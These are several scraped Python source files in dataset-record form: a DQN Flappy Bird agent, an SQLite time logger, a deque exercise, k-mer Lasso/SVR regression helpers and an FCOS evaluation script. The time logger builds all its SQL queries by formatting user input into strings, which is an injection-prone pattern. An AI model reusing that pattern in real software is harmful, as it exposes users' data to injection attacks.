f'{self._MODEL_DIR}/progress.png'\n self._LOSS_FILE = f'{self._MODEL_DIR}/loss.png'\n self._Q_VALUES_FILE = f'{self._MODEL_DIR}/q_values.png'\n self._ARCHITECTURE_FILE = f'{self._MODEL_DIR}/architecture.txt'\n self._PREDICTION_MODEL_WEIGHTS = f'{self._MODEL_DIR}/prediction_model_weights.h5'\n self._TARGET_MODEL_WEIGHTS = f'{self._MODEL_DIR}/target_model_weights.h5'\n\n # buffer to store action values predicted by the network in each episode\n self._q_values_history = [[] for action in range(self._NUM_ACTIONS)]\n\n \n self._train_score = 0\n self._eval_score = -5.0\n self._epsilon = epsilon\n self._replay_memory = deque(maxlen=self._MAX_REPLAY_BUFFER_SIZE)\n\n # Step 1: initialize all the models.\n self._init_models()\n # Step 2: initialize checkpoints file.\n self._init_checkpoints()\n\n def _init_models(self):\n \"\"\"\n Initializes the prediction and the target model using random weights.\n \"\"\"\n # prediction model is the one which will be trained on each step.\n self._prediction_model = self._build_model()\n # target model will be used to provide target Q values for prediction model to predict against.\n # Helps in stabilizing prediction model training.\n self._target_model = self._build_model()\n self._target_model.set_weights(self._prediction_model.get_weights())\n\n \n def _init_checkpoints(self):\n \"\"\"\n Initializes the model from last checkpoint if a model name is provided during init. If the directory\n corresponding the the model name is not present, initializes model with zero values to start fresh\n training.\n\n If model name is not present initializes the _start_episode, _start_step and _best_score for the model.\n \"\"\"\n if self._MODEL_NAME is None:\n self._start_episode, self._start_step, self._best_score = 0, 0, -5.0 # (least score)\n return\n \n # check if checkpoints for the provided model exists.\n if os.path.isdir(self._MODEL_DIR):\n with open(self._CHECKPOINT_FILE, 'r') as file:\n cnt = 0\n for line in file:\n start_episode, start_step, best_score, epsilon = line.split(',')\n cnt += 1\n assert(cnt < 2)\n self._start_episode, self._start_step, self._best_score, self._epsilon = \\\n int(start_episode), int(start_step), float(best_score), float(epsilon[:-1])\n\n # For prediction model entire model is saved including optimizer states, so as to resume\n # training from the exact last state.\n self._prediction_model = load_model(self._PREDICTION_MODEL_WEIGHTS)\n \n # For target model just the model weights are saved.\n self._target_model.load_weights(self._TARGET_MODEL_WEIGHTS)\n\n with open(self._REPLAY_BUFFER_FILE, 'rb') as f:\n self._replay_memory = pickle.load(f)\n\n print(f'Resuming training for model={self._MODEL_NAME} with best_score = {self._best_score}',\n f'from episode = {self._start_episode}, step = {self._start_step},',\n f'replay_buffer_size = {len(self._replay_memory)} and epsilon = {self._epsilon}')\n \n else: # if not initialize everything with zero values.\n os.makedirs(self._MODEL_DIR)\n self._start_episode = 0\n self._start_step = 0\n self._best_score = -5.0 # least possible score.\n with open(self._CHECKPOINT_FILE, 'w') as f:\n f.write(f'{self._start_episode},{self._start_step},{self._best_score},{self._epsilon}\\n')\n \n with open(self._HISTORY_FILE, 'w') as f:\n f.write(','.join(self._HISTORY_HEADERS))\n f.write('\\n')\n \n with open(self._ARCHITECTURE_FILE, 'w') as f:\n f.write(f'STATE_SPACE = {self._STATE_SPACE}\\n')\n f.write(f'NUM_ACTIONS = {self._NUM_ACTIONS}\\n')\n f.write(f'MAX_REPLAY_BUFFER_SIZE = {self._MAX_REPLAY_BUFFER_SIZE}\\n')\n f.write(f'MIN_REPLAY_BUFFER_SIZE = {self._MIN_REPLAY_BUFFER_SIZE}\\n')\n f.write(f'BATCH_SIZE = {self._BATCH_SIZE}\\n')\n f.write(f'GAMMA = {self._GAMMA}\\n')\n f.write(f'EPSILON_DECAY_RATE = {self._EPSILON_DECAY_RATE}\\n')\n f.write(f'MIN_EPSILON = {self._MIN_EPSILON}\\n')\n f.write(f'SAVE_SCORE_THRESHOLD = {self._SAVE_SCORE_THRESHOLD}\\n\\n')\n f.write(self._prediction_model.to_json(indent=4))\n \n self._save_models_and_buffer(0)\n\n print(f'Starting training for new model = {self._MODEL_NAME}')\n\n def get_start_checkpoint(self):\n \"\"\"\n Provide the episode and step number form which to resume (or in some cases start) training.\n\n Returns\n -------\n Integer tuple (`start_episode`, `start_step`).\n \"\"\"\n return self._start_episode, self._start_step\n \n def get_action(self, state):\n \"\"\"\n Provides the epsilon-greedy action that the agent will take.\n\n Args\n ----\n `state` (n-d numpy array): The current state in which agent has to pick an action.\n \n Returns\n -------\n An integer in the range `[0, self._NUM_ACTIONS).\n \"\"\"\n\n # Decay epsilon value.\n if self._epsilon > self._MIN_EPSILON:\n self._epsilon *= self._EPSILON_DECAY_RATE\n \n random_action = np.random.randint(self._NUM_ACTIONS)\n best_action = self.get_greedy_action(state)\n\n return random_action if np.random.random() < self._epsilon else best_action\n\n def get_greedy_action(self, state):\n \"\"\"\n Provides the greedy action(action with the maximum Q value) picked by the agent for the provided state.\n\n Args\n ----\n `state`(n-d numpy array): The current state in which the agent has to pick an action.\n \n Returns\n -------\n An integer in the range `[0, _NUM_ACTIONS)\n \"\"\"\n return np.argmax(self.get_q_values(state))\n \n def get_q_values(self, state):\n '''\n Provides the Q-values for the provided state.\n\n Args\n ----\n `state` (n-d numpy array): The current un-normalized(image with pixel values between 0 and 255) state images.\n \n Returns\n -------\n List of floats of length `_NUM_ACTIONS` where each entry is the Q value for the provided state\n and the action represented by that index.\n '''\n q_values = self._prediction_model.predict(np.expand_dims(state, 0)/255.0)[0]\n if self._eval_mode == False and self._MODEL_NAME is not None:\n for action in range(self._NUM_ACTIONS):\n self._q_values_history[action].append(q_values[action])\n return q_values\n\n def get_train_score(self):\n \"\"\"\n Provides the current training score of the agent.\n\n Returns\n -------\n An integer.\n \"\"\"\n return self._train_score\n\n def get_eval_score(self):\n \"\"\"\n Provides the current evaluation score of the agent.\n\n Returns\n -------\n An integer.\n \"\"\"\n return self._eval_score\n \n def get_best_score(self):\n \"\"\"\n Provides the highest score the agent has been able to achieve till the moment.\n\n Returns\n -------\n An integer.\n \"\"\"\n return self._best_score\n\n def set_train_score(self, new_score):\n \"\"\"\n Updates the value of `_train_score` with the provided value.\n\n Args\n ----\n `new_score` (int): An integer representing the new value to which `_train_score` should be updated to.\n \"\"\"\n self._train_score = new_score\n \n def set_eval_score(self, new_score):\n \"\"\"\n Updates the value of `_eval_score` with the provided value.\n\n Args\n ----\n `new_score` (int): An integer representing the new value to which `_eval_score` should be updated to.\n \"\"\"\n self._eval_score = new_score\n\n def _build_model(self):\n \"\"\"\n Builds a CNN model that will be used by the agent to predict Q-values.\n\n Returns\n -------\n A compiled Keras model with Adam Optimizer and Huber loss.\n \"\"\"\n input = Input(shape=self._STATE_SPACE)\n x = Sequential([\n Conv2D(filters=32, kernel_size=(8,8), strides=(4,4), padding='valid', activation='relu',\n kernel_initializer=VarianceScaling(scale=2.0)),\n\n Conv2D(filters=64, kernel_size=(4,4), strides=(2,2), activation='relu', padding='valid',\n kernel_initializer=VarianceScaling(scale=2.0)),\n\n Conv2D(filters=64, kernel_size=(3,3), strides=(1,1), activation='relu', padding='valid',\n kernel_initializer=VarianceScaling(scale=2.0)),\n\n Conv2D(filters=1024, kernel_size=(7,7), strides=(1,1), activation='relu', padding='valid',\n kernel_initializer=VarianceScaling(scale=2.0)),\n ])(input)\n\n value_tensor, advantage_tensor = Lambda(lambda x: tf.split(x, 2, axis=3))(x)\n\n value_tensor = Flatten()(value_tensor)\n advantage_tensor = Flatten()(advantage_tensor)\n\n advantage = Dense(self._NUM_ACTIONS, kernel_initializer=VarianceScaling(scale=2.0))(advantage_tensor)\n value = Dense(1, kernel_initializer=VarianceScaling(scale=2.0))(value_tensor)\n\n\n mean_advantage = Lambda(lambda x: tf.reduce_mean(x, axis=1, keepdims=True))(advantage)\n normalized_advantage = Subtract()([advantage, mean_advantage])\n\n output = Add()([value, normalized_advantage])\n\n model = Model(inputs=input, outputs=output)\n optimizer = Adam(1e-5)\n loss = Huber(delta=1.0)\n model.compile(optimizer=optimizer, loss=loss)\n return model\n\n def update_replay_memory(self, transition):\n \"\"\"\n Adds the provided transition to the `_replay_memory`.\n \n Args\n ----\n `transition` (tuple): A tuple of (curr_state, action, reward, next_state, terminal). terminal represents\n whether the next_state is terminal or not.\n \"\"\"\n self._replay_memory.append(transition)\n \n def train(self):\n \"\"\"\n Trains the model with using a random `_BATCH_SIZE` sample of transitions from the _replay_memory. Training\n only happens when the size of the `_replay_memory` is greater than `_MIN_REPLAY_BUFFER_SIZE`.\n\n Returns\n -------\n A float denoting the loss obtained on the sample.\n \"\"\"\n if len(self._replay_memory) < self._MIN_REPLAY_BUFFER_SIZE:\n return 0\n \n minibatch = random.sample(self._replay_memory, self._BATCH_SIZE)\n\n curr_states = np.array([transition[0] for transition in minibatch])/255.0\n curr_q_values = self._prediction_model.predict(curr_states)\n\n next_states = np.array([transition[3] for transition in minibatch])/255.0\n next_q_values_target = self._target_model.predict(next_states)\n # predict next state values using prediction model for Double-DQN implementation.\n next_q_values_predicted = self._prediction_model.predict(next_states)\n\n\n X, y = [], []\n\n for index, (curr_state, action, reward, next_state, done) in enumerate(minibatch):\n if done:\n new_q_value = reward\n else:\n new_q_value = reward + self._GAMMA*next_q_values_target[index, np.argmax(next_q_values_predicted[index])]\n \n curr_q_value = curr_q_values[index]\n curr_q_value[action] = new_q_value\n\n X.append(curr_state)\n y.append(curr_q_value)\n \n loss = self._prediction_model.train_on_batch(np.array(X)/255.0, np.array(y))\n return loss\n\n def update_target_weight(self):\n \"\"\"\n Updates the target model weights by setting it to prediction model weights.\n \"\"\"\n self._target_model.set_weights(self._prediction_model.get_weights())\n \n def save_checkpoint(self, episode, step, loss):\n \"\"\"\n Saves the current training checkpoint of the model using the provided values. These checkpoints\n can be used to resume training. Checkpoints are saved only if the `_MODEL_NAME` was provided\n during initialization.\n\n Args\n ----\n `episode` (int): Episode till which the agent has been trained. (1 indexed)\n\n `step` (int): Step till which the agent has been trained. Each step denotes on transition seen or 1 action\n taken by the agent. (1 indexed)\n \n `loss`: Average loss observed in the current episode.\n \"\"\"\n if self._MODEL_NAME is None:\n return\n \n self._start_episode = episode\n self._start_step = step\n with open(self._CHECKPOINT_FILE, 'w') as f:\n f.write(f'{self._start_episode},{self._start_step},{self._best_score},{self._epsilon}\\n')\n \n q_values_hist = []\n for action in range(self._NUM_ACTIONS):\n avg = sum(self._q_values_history[action])/len(self._q_values_history[action])\n q_values_hist.append(round(avg, 3))\n q_values_hist.append(round(min(self._q_values_history[action]), 3))\n q_values_hist.append(round(max(self._q_values_history[action]), 3))\n \n # reset q_values buffer for next episode.\n self._q_values_history = [[] for action in range(self._NUM_ACTIONS)]\n \n q_values_hist = ','.join(str(q_values) for q_values in q_values_hist)\n with open(self._HISTORY_FILE, 'a') as f:\n f.write(f'{episode},{step},{self._train_score},{self._eval_score},{self._best_score}, \\\n {self._epsilon:.5f},{loss},{q_values_hist}\\n')\n\n self._save_models_and_buffer(episode)\n \n self.plot_history()\n \n\n def plot_history(self):\n \"\"\"\n Plots the training, evaluation and best score in the `_HISTORY_FILE`. `_HISTORY_BUFFER_SIZE` is\n used to smooth the values by averaging over it.\n \"\"\"\n train_history = deque(maxlen=self._HISTORY_BUFFER_SIZE)\n evaluate_history = deque(maxlen=self._HISTORY_BUFFER_SIZE)\n q_avg_history = [deque(maxlen=self._HISTORY_BUFFER_SIZE) for action in range(self._NUM_ACTIONS)]\n q_min_history = [deque(maxlen=self._HISTORY_BUFFER_SIZE) for action in range(self._NUM_ACTIONS)]\n q_max_history = [deque(maxlen=self._HISTORY_BUFFER_SIZE) for action in range(self._NUM_ACTIONS)]\n\n train = []\n evaluate = []\n best_evaluate = []\n loss = []\n episode = []\n q_value_avg = [[] for action in range(self._NUM_ACTIONS)]\n q_value_min = [[] for action in range(self._NUM_ACTIONS)]\n q_value_max = [[] for action in range(self._NUM_ACTIONS)]\n\n with open(self._HISTORY_FILE, 'r') as f:\n i = 0\n for line in f:\n i += 1 \n if i == 1: # ignore headers\n continue\n ep, st, ts, es, bs, e, l = line.split(',')[:7]\n qv = line.split(',')[7:]\n \n train_history.append(float(ts))\n evaluate_history.append(float(es))\n for action in range(0, 3*self._NUM_ACTIONS, 3):\n q_avg_history[action//3].append(float(qv[action]))\n q_min_history[action//3].append(float(qv[action+1]))\n q_max_history[action//3].append(float(qv[action+2]))\n\n episode.append(int(ep))\n train.append(sum(train_history)/len(train_history))\n evaluate.append(sum(evaluate_history)/len(evaluate_history))\n best_evaluate.append(float(bs))\n loss.append(float(l[:-1]))\n\n for action in range(0, 3*self._NUM_ACTIONS, 3):\n q_value_avg[action//3].append(sum(q_avg_history[action//3])/len(q_avg_history[action//3]))\n q_value_min[action//3].append(sum(q_min_history[action//3])/len(q_avg_history[action//3]))\n q_value_max[action//3].append(sum(q_max_history[action//3])/len(q_avg_history[action//3]))\n\n\n plt.figure()\n plt.plot(episode, train, label='train_score')\n plt.plot(episode, evaluate, '--', label='eval_score')\n plt.plot(episode, best_evaluate, label='best_score')\n plt.legend(loc=2)\n\n plt.ylabel('score')\n plt.xlabel('episodes')\n plt.savefig(self._PROGRESS_FILE, dpi=self._PLOT_DPI)\n plt.close()\n\n plt.figure()\n plt.plot(episode, loss, label='loss')\n plt.legend(loc=2)\n plt.savefig(self._LOSS_FILE, dpi=self._PLOT_DPI)\n plt.close()\n\n plt.figure()\n for action in range(self._NUM_ACTIONS):\n plt.plot(episode, q_value_avg[action], label=f'q_avg_{action}')\n plt.plot(episode, q_value_min[action], label=f'q_min_{action}')\n plt.plot(episode, q_value_max[action], label=f'q_max_{action}')\n plt.legend(loc=2)\n plt.savefig(self._Q_VALUES_FILE, dpi=self._PLOT_DPI)\n plt.close()\n \n def save_best_model(self, score):\n \"\"\"\n Saves the weights of the prediction model if the provided score is greater than the max of\n `_SAVE_SCORE_THRESHOLD` and the `_best_score`. Also updates the `_best_score` value.\n\n Args\n ----\n `score` (int): Current score of the agent.\n \"\"\"\n if score > max(self._SAVE_SCORE_THRESHOLD, self._best_score):\n self._prediction_model.save_weights(\n os.path.join(self._MODEL_DIR, f'best_model_{score}.h5'))\n self._best_score = max(self._best_score, score)\n \n def _save_models_and_buffer(self, episode):\n \"\"\"\n Saves the prediction and target models along with the replay buffer to disk.\n\n Args\n ----\n `episode` (int): Current episode, used to determine whether or not to save the replay buffer.\n This is needed as buffer size grows to 2 GB at max capacity (100k) and takes\n non-trivial time to write, so it is updated after every 'n' episode. Also, \n saving the buffer after each episode doesn't make much sense as most of the\n data remains the same.\n \"\"\"\n # save model to ensure both the model and its optimizer states are saved for better \n # continuation of training\n self._prediction_model.save(self._PREDICTION_MODEL_WEIGHTS)\n \n # save only weights for target model as this model is not trained and only used for making\n # predictions.\n self._target_model.save_weights(self._TARGET_MODEL_WEIGHTS)\n\n if episode % 100 == 0:\n with open(self._REPLAY_BUFFER_FILE, 'wb') as f:\n pickle.dump(self._replay_memory, f)\n","repo_name":"47rajat/FlappyBirdRL","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":24297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24074852102","text":"import sqlite3, datetime, textwrap\n\n# conn = sqlite3.Connection('timelog')\n# curs = conn.cursor()\n#\n# drop = \"drop table if exists timelog;\"\n# curs.execute(drop)\n# conn.commit()\n# conn.close()\n#\n#\nconn = sqlite3.Connection('timelog')\ncurs = conn.cursor()\nTABLEDEF = '''\n create table if not exists timelog\n (\n id integer primary key autoincrement,\n timestamp text,\n description text\n );\n '''\ncurs.execute(TABLEDEF)\nconn.commit()\nconn.close()\n\ndef new_entry(desc, ts=None):\n if not ts:\n ts = datetime.datetime.now().isoformat()\n query = 'insert into timelog values (null, \"{}\", \"{}\");'.format(ts, desc)\n try:\n conn = sqlite3.Connection('timelog')\n curs = conn.cursor()\n res = curs.execute(query)\n conn.commit()\n conn.close()\n return res\n except Exception as e:\n return e\n\ndef delete_entry(entry_id):\n conn = sqlite3.Connection('timelog')\n curs = conn.cursor()\n query = 'DELETE FROM timelog where id={};'.format(entry_id)\n myres = curs.execute(query)\n myres = myres.fetchall()\n conn.commit()\n conn.close()\n return myres\n\ndef read_entry(entry_id):\n conn = sqlite3.Connection('timelog')\n curs = conn.cursor()\n query = 'select * FROM timelog where id={};'.format(entry_id)\n myres = curs.execute(query)\n myres = myres.fetchall()\n conn.commit()\n conn.close()\n return myres\n\ndef get_entries_by_day(date_string=datetime.date.today().isoformat()):\n conn = sqlite3.Connection('timelog')\n curs = conn.cursor()\n query = '''\n SELECT * FROM timelog\n where date(timestamp)=date(\"{}\")\n ORDER BY datetime(timestamp) ASC;\n '''.format(date_string)\n myres = curs.execute(query)\n myres = myres.fetchall()\n conn.commit()\n conn.close()\n return myres\n\ndef edit_entry(timestamp):\n conn = sqlite3.Connection('timelog')\n curs = conn.cursor()\n query = 'SELECT * FROM timelog where timestamp = \"{}\";'.format(timestamp)\n myres = curs.execute(query)\n ts, desc = myres.fetchone()\n conn.commit()\n conn.close()\n\nif __name__ == '__main__':\n time_format = '%I:%M:%S %p'\n datetime_format = '%b %d, %Y %I:%M %p'\n parse_format = '%Y-%m-%dT%H:%M:%S.%f'\n print('=' * 79)\n print('\\n')\n print('{0:^79}'.format(\"TIME LOGGER\"))\n print('\\n')\n print('-' * 79)\n # print('\\n')\n print('{0:^79}'.format('Keep track of your day with short descriptive entries'))\n\n\n while True:\n print('\\n' + '*' * 79 + '\\n')\n choice_format = '{0:^15}{1:^15}{2:^15}{3:^15}'\n prompt_names = choice_format.format('create', 'read', 'delete', 'exit')\n prompt_names = '{0:^79}'.format(prompt_names)\n prompt_short = choice_format.format('[c]', '[r]', '[d]', '[x]')\n prompt_short = '{0:^79}'.format(prompt_short)\n # prompt += '\\n' + '>>'\n print(prompt_names)\n print(prompt_short)\n choice = input('>> ')\n print('\\n' + '*' * 79 + '\\n')\n if choice.lower() == 'c':\n desc = input('enter description: ')\n ts = input('enter time YYYY-MM-DDTHH:MM:SS.MS (press enter to use now): ')\n if not ts:\n resp = new_entry(desc)\n else:\n resp = new_entry(desc, ts)\n # print(resp)\n if resp:\n print('entry successfully added')\n else:\n print(resp)\n elif choice.lower() == 'r':\n user_choice = input(\"by day [enter], or by [id]?\\n>> \")\n if user_choice == 'id':\n entry_id = input('entry ID: ')\n res = read_entry(entry_id)\n # print(res)\n for entry in res:\n id, ts, desc = entry\n desc_lines = textwrap.wrap(desc)\n print('='*79)\n myformat = '{0:<40}{1:>39}'\n idinfo = 'entry ID: {}'.format(id)\n dt = datetime.datetime.strptime(ts, parse_format)\n pretty_date = dt.strftime(datetime_format)\n print(myformat.format(pretty_date, idinfo))\n print('-'*79)\n print('\\n')\n for line in desc_lines:\n print(line)\n print('\\n')\n\n elif not user_choice:\n day_string = input('select day YYYY-MM-DD ([enter] for today):\\n>>')\n\n if day_string:\n res = get_entries_by_day(day_string)\n else:\n res = get_entries_by_day()\n\n for entry in res:\n id, ts, desc = entry\n desc_lines = textwrap.wrap(desc)\n print('='*79)\n myformat = '{0:<40}{1:>39}'\n idinfo = 'entry ID: {}'.format(id)\n dt = datetime.datetime.strptime(ts, parse_format)\n pretty_date = dt.strftime(datetime_format)\n print(myformat.format(pretty_date, idinfo))\n print('-'*79)\n print('\\n')\n for line in desc_lines:\n print(line)\n print('\\n')\n\n elif choice.lower() == 'd':\n entry_id = input('entry ID: ')\n res = delete_entry(entry_id)\n # print(res)\n\n\n elif choice.lower() == 'x':\n exit()\n\n","repo_name":"zachswift615/timelogger","sub_path":"timelog.py","file_name":"timelog.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31790571031","text":"\"\"\"\n정수를 저장하는 덱(Deque)를 구현한 다음, 입력으로 주어지는 명령을 처리하는 프로그램을 작성하시오.\n\n명령은 총 여덟 가지이다.\n\n - push_front X: 정수 X를 덱의 앞에 넣는다.\n - push_back X: 정수 X를 덱의 뒤에 넣는다.\n - pop_front: 덱의 가장 앞에 있는 수를 빼고, 그 수를 출력한다. 만약, 덱에 들어있는 정수가 없는 경우에는 -1을 출력한다.\n - pop_back: 덱의 가장 뒤에 있는 수를 빼고, 그 수를 출력한다. 만약, 덱에 들어있는 정수가 없는 경우에는 -1을 출력한다.\n - size: 덱에 들어있는 정수의 개수를 출력한다.\n - empty: 덱이 비어있으면 1을, 아니면 0을 출력한다.\n - front: 덱의 가장 앞에 있는 정수를 출력한다. 만약 덱에 들어있는 정수가 없는 경우에는 -1을 출력한다.\n - back: 덱의 가장 뒤에 있는 정수를 출력한다. 만약 덱에 들어있는 정수가 없는 경우에는 -1을 출력한다.\n\"\"\"\n\nimport sys\nfrom collections import deque\n\nN = int(sys.stdin.readline())\n\ndeque = deque()\nfor _ in range(N):\n command = sys.stdin.readline().rstrip()\n command = command.split(' ')\n\n if command[0] == 'push_front':\n num = int(command[1])\n deque.appendleft(num)\n\n elif command[0] == 'push_back':\n num = int(command[1])\n deque.append(num)\n\n elif command[0] == 'pop_front':\n print(-1 if not deque else deque.popleft())\n\n elif command[0] == 'pop_back':\n print(-1 if not deque else deque.pop())\n\n elif command[0] == 'size':\n print(len(deque))\n\n elif command[0] == 'empty':\n print(1 if not deque else 0)\n\n elif command[0] == 'front':\n print(-1 if not deque else deque[0])\n\n elif command[0] == 'back':\n print(-1 if not deque else deque[-1])\n","repo_name":"sangm1n/problem-solving","sub_path":"BOJ/10866.py","file_name":"10866.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73687174453","text":"import pandas as pd \nimport numpy as np\nimport pickle\nimport warnings\nfrom bloom_filter import BloomFilter\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import Lasso\nimport sklearn.svm\nimport matplotlib.pyplot as plt\n\ndef summarise_kmer_data(kmer_dfs, y_dict, names):\n '''Summarises multiple kmer dataframes in format outputted from make_kmer_df() \n so regression models can be fitted\n\n Parameters:\n kmer_dfs (list): list of paths to pickled kmer dataframes in format defined by make_kmer_df()\n y_dict (dict): dictionary of y data as values and keys corresponding to those in kmer_dfs\n names (list): list of names of kmer_dfs in same order as kmer_dfs list\n\n Returns:\n counts_array, y_array, represnted_kmers: three arrays of the counts of each kmer and \n y values in same order and the kmers represented in the data\n '''\n with open(kmer_dfs[0], 'rb') as a:\n kmer_df = pickle.load(a)\n max_kmers = len(kmer_df) #below code checks all are the same length\n bloom = BloomFilter(max_elements=max_kmers, error_rate=0.1)\n represented_kmers = []\n counts_array = [None]*len(names)\n y_array = [None]*len(names)\n \n for kmer_df_file in kmer_dfs: \n with open(kmer_df_file, 'rb') as a:\n kmer_df = pickle.load(a)\n if len(kmer_df) != max_kmers:\n raise ValueError('kmer_dfs are not of equal length')\n for kmer in list(kmer_df.loc[kmer_df['Count'] != 0,]['Kmer']): \n if kmer not in bloom:\n bloom.add(kmer)\n represented_kmers.append(kmer)\n \n pos = 0\n for kmer_df_file in kmer_dfs: \n with open(kmer_df_file, 'rb') as a:\n kmer_df = pickle.load(a)\n name = names[pos]\n if name in y_dict:\n y_array[pos] = y_dict[name]\n counts = list(kmer_df.loc[kmer_df['Kmer'].isin(represented_kmers),]['Count'])\n counts_array[pos] = counts\n else:\n warnings.warn(name + ' missing from y_dict')\n pos += 1\n\n counts_array = [i for i in counts_array if i != None]\n y_array = [i for i in y_array if i != None]\n\n return(counts_array, y_array, represented_kmers)\n\n\ndef fit_lasso_model(x, y, alpha = 0.1, plot = True, test_size = 0.3):\n '''Fits lasso regresson model \n\n Parameters: \n x (array): numpy array of values of x in same order as y\n y (array): numpy array of value of y in same order as x\n alpha (float): regularization parameter for lasso regression\n plot (bool): true or false plot model predictions against real data\n test_size (float): proportion of sample to be in test split\n\n Returns: \n train_score, test_score, coeff_used, lasso, plot (if plot = True):\n respectively r squared of training data with model predictions, r squared of testing \n data with model predictions, number of items in x whose coefficient is not 0, the fitted\n model, and a plot of the model predictions against real data\n '''\n\n X_train,X_test,y_train,y_test = train_test_split(x, y, test_size=test_size, \n random_state=31)\n\n lasso = Lasso(alpha = alpha)\n lasso.fit(X_train,y_train)\n train_score = lasso.score(X_train,y_train) #R squared data\n test_score = lasso.score(X_test,y_test) \n coeff_used = np.sum(lasso.coef_!=0) #number of points in x used by model\n\n if plot:\n plot = plt.scatter(y,lasso.predict(x))\n return(train_score, test_score, coeff_used, lasso, plot)\n else:\n return(train_score, test_score, coeff_used, lasso)\n\ndef fit_svr_model(x, y, C = 0.1, epsilon = 0.1, plot = True, test_size = 0.3):\n '''Fits support vector regression model \n\n Parameters: \n x (array): numpy array of values of x in same order as y\n y (array): numpy array of value of y in same order as x\n c (float): regularization parameter for svr model\n epsilon (float): width of hyperplane in svr model\n plot (bool): true or false plot model predictions against real data\n test_size (float): proportion of sample to be in test split\n\n Returns: \n train_score, test_score, lasso, plot (if plot = True):\n respectively r squared of training data with model predictions, r squared of testing \n data with model predictions, number of items in x whose coefficient is not 0, the fitted\n model, and a plot of the model predictions against real data\n '''\n\n X_train,X_test,y_train,y_test = train_test_split(x, y, test_size=test_size, \n random_state=31)\n\n svr = sklearn.svm.SVR(gamma = 'scale', C = C, epsilon = epsilon) \n svr.fit(X_train, y_train)\n train_score = svr.score(X_train, y_train)\n test_score = svr.score(X_test, y_test)\n\n if plot:\n plot = plt.scatter(y,svr.predict(x))\n return(train_score, test_score, svr, plot)\n else:\n return(train_score, test_score, svr)\n","repo_name":"bjeffrey92/kmerAnalysis","sub_path":"kmerAnalysis/fit_regression_models.py","file_name":"fit_regression_models.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17467230250","text":"import torch\n# import math,time\nimport wandb\n\nfrom torch.utils.data import DataLoader\nfrom model.fcos import FCOSDetector\nfrom data.voc import VOCDataset\nfrom engine.utils import sort_by_score, eval_ap_2d\n# from torch.utils.tensorboard import SummaryWriter\n\n# import os\nimport random\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\n# import torchvision\n# import torchvision.transforms as transforms\nfrom tqdm.auto import tqdm\n# import glob\n\n# Ensure deterministic behavior\ntorch.backends.cudnn.deterministic = True\nrandom.seed(hash(\"setting random seeds\") % 2**32 - 1)\nnp.random.seed(hash(\"improves reproducibility\") % 2**32 - 1)\ntorch.manual_seed(hash(\"by removing stochasticity\") % 2**32 - 1)\ntorch.cuda.manual_seed_all(hash(\"so runs are repeatable\") % 2**32 - 1)\n\n# Device configuration\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nconfig = dict(\n epochs=30,\n batch_size=8,\n warmup_steps_ratio = 0.12,\n num_workers = 4,\n lr_init=5e-5,\n lr_end=1e-6,\n dataset=\"PASCALVOC_2012\",\n data_path='/home/bruno-messias/Github/data3/VOCtrainval_11-May-2012/VOCdevkit/VOC2012',\n resize_size=[512,800],\n transform = None,\n difficult=False,\n is_train=True,\n architecture=\"MyFCOS\")\n\ndef make(config):\n # Make the data\n train_dataset=VOCDataset(config.data_path, \n resize_size=config.resize_size, \n split='train', \n use_difficult=config.difficult,\n is_train=config.is_train,\n augment=config.transform)\n \n val_dataset=VOCDataset(config.data_path, \n resize_size=config.resize_size,\n split='val',\n use_difficult=config.difficult, \n is_train=False,\n augment=None)\n \n train_loader = DataLoader(train_dataset,\n batch_size=config.batch_size, \n shuffle=True, \n collate_fn=train_dataset.collate_fn, \n num_workers=config.num_workers)\n \n val_loader = DataLoader(val_dataset,\n batch_size=config.batch_size, \n shuffle=True, \n collate_fn=val_dataset.collate_fn, \n num_workers=config.num_workers)\n \n print(\"Total Images [TRAIN] : {}\".format(len(train_dataset)))\n print(\"Total Images [VAL] : {}\".format(len(val_dataset)))\n\n # Make the model\n model = FCOSDetector(mode=\"inference\").to(device)\n model = torch.nn.DataParallel(model)\n\n # Make the optimizer\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-4)\n \n return model, train_loader, val_loader, optimizer\n\ndef model_pipeline(hyperparameters):\n\n # tell wandb to get started\n with wandb.init(project=\"ResearchOD\", config=hyperparameters):\n # access all HPs through wandb.config, so logging matches execution!\n config = wandb.config\n\n # make the model, data, and optimization problem\n model, _, val_loader, __ = make(config)\n\n # save models\n test(model, val_loader)\n\ndef test(model, loader):\n # weight_path = './checkpoints' \n # extension = '.pth' \n\n # files = glob.glob(os.path.join(weight_path, '*' + extension))\n\n # losses = []\n # file_name = []\n # for file in files:\n # filename = file.split(\"/\")\n # loss_data = filename[2].split(\"_\")\n # num = loss_data[3].split(\"loss\")\n # numbers = num[1].split(\".\")\n # loss = f\"{numbers[0]}.{numbers[1]}\"\n # losses.append(loss)\n # file_name.append(file)\n\n # min_value = min(losses)\n # index_min = losses.index(min_value)\n\n checkpoint = \"./checkpoints/voc2012_512x800_epoch1_loss4.6031.pth\"\n model.load_state_dict(torch.load(checkpoint, map_location=torch.device('cpu')))\n model=model.to(device).eval()\n print(\"===>success loading model\")\n\n gt_boxes=[]\n gt_classes=[]\n pred_boxes=[]\n pred_classes=[]\n pred_scores=[]\n # num=0\n for img,boxes,classes in tqdm(loader):\n with torch.no_grad():\n out=model(img.cuda())\n pred_boxes.append(out[2][0].cpu().numpy())\n pred_classes.append(out[1][0].cpu().numpy())\n pred_scores.append(out[0][0].cpu().numpy())\n gt_boxes.append(boxes[0].numpy())\n gt_classes.append(classes[0].numpy())\n # num+=1\n # print(num,end='\\r')\n\n pred_boxes,pred_classes,pred_scores=sort_by_score(pred_boxes,pred_classes,pred_scores)\n all_AP=eval_ap_2d(gt_boxes,gt_classes,pred_boxes,pred_classes,pred_scores,0.5,len(loader.CLASSES_NAME))\n print(\"all classes AP=====>\\n\")\n for key,value in all_AP.items():\n print('ap for {} is {}'.format(loader.id2name[int(key)],value))\n 